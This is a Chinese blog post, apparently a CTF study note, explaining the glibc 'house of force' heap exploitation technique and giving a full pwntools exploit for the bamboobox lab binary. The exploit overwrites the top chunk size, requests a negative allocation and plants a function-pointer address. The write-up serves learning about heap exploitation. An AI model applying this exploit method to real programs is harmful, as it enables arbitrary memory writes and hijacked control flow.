PWN January 03, 2020

house of force初探

Words count 12k Reading time 11 mins. Read count 0

house of force介绍:

通俗的讲就是通过修改topchunk的size字节来控制malloc的返回地址,从而达到修改任意地址内容的目的:

具体原理分析:

因为从topchunk的切割是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
p = av->top;
size = chunksize (p);
/* check that one of the above allocation paths succeeded */
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset (p, nb);
av->top = remainder;
set_head (p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
check_malloced_chunk (av, p, nb);
return chunk2mem (p);
}

这里很容易理解:

new_topchunk_size_addr = topchunk_size_addr + malloc_size
new_topchunk_size = topchunk_size - malloc_size

攻击原理介绍:

1、chunk1和topchunk_size_addr物理相邻,如果存在堆溢出漏洞,导致chunk1可以修改内容从而溢出到topchunk_size_addr那么就可以修改top_chunk_size的大小。

2、改写top_chunk_size为一个负数(32位是0xffffffff,64位是0xffffffffffffffff)

3、现在就可以通过malloc(负数)来构造出evil chunk了,evil chunk。

4、evil chunk的大小要怎么确定呢?也就是那个负数。
evil chunk的大小:用目标地址减去 top chunk_size 地址,再减去 chunk 头的大小(32位是0x8,64位是0x10)。
64位为例子,假设要控制的地址是0x1af500,topchunk_size_addr是0x1af590
evil_chunk_size = 0x1af500 - 0x1af590 - 0x10 = -0xA0 = -160,这个是我们要malloc的大小

接着是运用公式了:

new_topchunk_size_addr = 0x1af590 + (-0xA0+0x10) = 0x1af500

new_topchunk_size = 0xffffffffffffffff - (-0xA0 + 0x10) = 0x8F(整数溢出漏洞),由于会有一些页对齐操作,真正在gdb中看到的大小是0x88

这样就解释了构造evil_chunk可以使得top_chunk往堆的低地址移动,且大小发生变化

5、再次malloc(size)时就会在新的topchunk的位置处切割出size的堆块并且写入内容,从而实现了任意地址写~

exp如下:

这里直接拿一道题看看:

LAB11的那个bamboobox

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')

local = 1
elf = ELF('./bamboobox')
if local:
p = process('./bamboobox')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('./libc.so.6')

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()


def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))

def malloc(size,content):
ru("Your choice:")
sl('2')
ru("Please enter the length of item name:")
sd(str(size))
ru("Please enter the name of item:")
sd(content)
def free(index):
ru("Your choice:")
sl('4')
ru("Please enter the index of item:")
sl(str(index))
def exit():
ru("Your choice:")
sl('5')
def puts():
ru("Your choice:")
sl('1')
def change(index,size,content):
ru("Your choice:")
sl('3')
ru("Please enter the index of item:")
sd(str(index))
ru("Please enter the length of item name:")
sd(str(size))
ru("Please enter the new name of the item:")
sd(content)

magic = 0x400d49

bk(0x0000000000400ADD)
malloc(0x60,'aaaa')
py1 = 'a'*0x60 + p64(0) + p64(0xffffffffffffffff)
change(0,0x70,py1)
malloc(-160,'bbbb')
malloc(0x20, p64(magic)*2)
p.interactive()

这里形象地讲就是evil chunk上了top chunk的身体迫使他往前走(house of force

0%